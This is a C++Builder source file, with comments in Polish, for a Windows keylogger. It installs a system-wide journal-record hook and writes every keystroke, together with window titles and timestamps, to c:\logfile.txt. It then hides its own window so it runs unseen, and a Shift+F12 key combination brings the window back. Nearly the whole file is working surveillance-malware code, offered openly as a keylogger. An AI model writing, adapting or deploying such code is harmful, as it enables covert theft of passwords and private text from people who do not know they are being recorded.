//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
#include <stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
HHOOK g_hLogHook = NULL;
HWND g_hLastFocus = NULL;
const int KeyPressMask = 0x80000000;
char g_PrvChar;
HOOKPROC ConnectHook(int iCode, WPARAM wParam, LPARAM lParam)
{
if(iCode < 0) return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
EVENTMSG *pEvt = (EVENTMSG *)lParam;
int i;
HWND hFocus;
char szTitle[256];
char szTime[128];
FILE *stream = fopen("c:\\logfile.txt", "a+t"); //rejestr keylogera zostaje zapisany w pliku logfile.txt na dysku c:
if(pEvt->message == WM_KEYDOWN)
{
int vKey = LOBYTE(pEvt->paramL);
char ch;
char str[10];
hFocus = GetActiveWindow();
if(g_hLastFocus != hFocus)
{
GetWindowTextA(hFocus, szTitle, 256);
g_hLastFocus = hFocus;
strcpy(szTime, DateTimeToStr(Now()).t_str());
fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
fprintf(stream, "%c%c", 32, 32);
}
int iShift = GetKeyState(0x10);
int iCapital = GetKeyState(0x14);
int iNumLock = GetKeyState(0x90);
bool bShift = (iShift & KeyPressMask) == KeyPressMask;
bool bCapital = (iCapital & 1) == 1;
bool bNumLock = (iNumLock & 1) == 1;
if(vKey >= 48 && vKey <= 57)
if(!bShift) fprintf(stream, "%c", vKey);
if(vKey >= 65 && vKey <= 90)
{
if(!bCapital)
{
if(bShift)
{
ch = vKey;
}
else
{
ch = vKey + 32;
}
}
else
if(bShift)
{
ch = vKey + 32;
}
else
{
ch = vKey;
}
fprintf(stream, "%c", ch);
}
if(vKey >= 96 && vKey <= 105)
if(bNumLock) fprintf(stream, "%c", vKey - 96 + 48);
if(vKey >= 186 && vKey <= 222)
{
switch(vKey)
{
case 186: if(!bShift) ch = ';'; else ch = ':'; break;
case 187: if(!bShift) ch = '='; else ch = '+'; break;
case 188: if(!bShift) ch = ','; else ch = '<'; break;
case 189: if(!bShift) ch = '-'; else ch = '_'; break;
case 190: if(!bShift) ch = '.'; else ch = '>'; break;
case 191: if(!bShift) ch = '/'; else ch = '?'; break;
case 192: if(!bShift) ch = '`'; else ch = '~'; break;
case 219: if(!bShift) ch = '['; else ch = '{'; break;
case 220: if(!bShift) ch = '\\'; else ch = '?'; break;
case 221: if(!bShift) ch = ']'; else ch = '}'; break;
case 222: if(!bShift) ch = '\''; else ch = '\"'; break;
default: ch = 'n'; break;
}
if(ch != 'n') fprintf(stream, "%c", ch);
}
if(vKey >= 8 && vKey <= 46)
{
switch(vKey)
{
case 8: strcpy(str, "[BK]"); break;
case 9: strcpy(str, "[TAB]"); break;
case 13: strcpy(str, "[EN]"); break; // ENTER
case 17: strcpy(str, "[rALT]"); break; // prawy ALT
// case 18: strcpy(str, "[lALT]"); break; // lewy ALT
case 32: strcpy(str, " "); break; // spacja
case 33: strcpy(str, "[PU]"); break;
case 34: strcpy(str, "[PD]"); break;
case 35: strcpy(str, "[END]"); break;
case 36: strcpy(str, "[HOME]"); break;
case 37: strcpy(str, "[LF]"); break;
case 38: strcpy(str, "[UF]"); break;
case 39: strcpy(str, "[RF]"); break;
case 40: strcpy(str, "[DF]"); break;
case 45: strcpy(str, "[INS]"); break;
case 46: strcpy(str, "[DEL]"); break;
default: ch = 'n'; break;
}
if(ch != 'n') fprintf(stream, "%s", str);
}
if(bShift && vKey == 123)
{
Application->Restore();
ShowWindow(Application->Handle, SW_SHOW);
if(g_hLogHook != NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}
}
if(pEvt->message == WM_LBUTTONDOWN && pEvt->message == WM_RBUTTONDOWN)
{
hFocus = GetActiveWindow();
if(g_hLastFocus != hFocus)
{
g_hLastFocus = hFocus;
GetWindowText(hFocus, szTitle, 256);
strcpy(szTime, DateTimeToStr(Now()).t_str());
fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
fprintf(stream, "%c%c", 32, 32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx (g_hLogHook, iCode, wParam, lParam);
}
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if(g_hLogHook == NULL)
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)ConnectHook, HInstance,0);
Application->Minimize();
ShowWindow(Application->Handle, SW_HIDE);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
if(g_hLogHook != NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}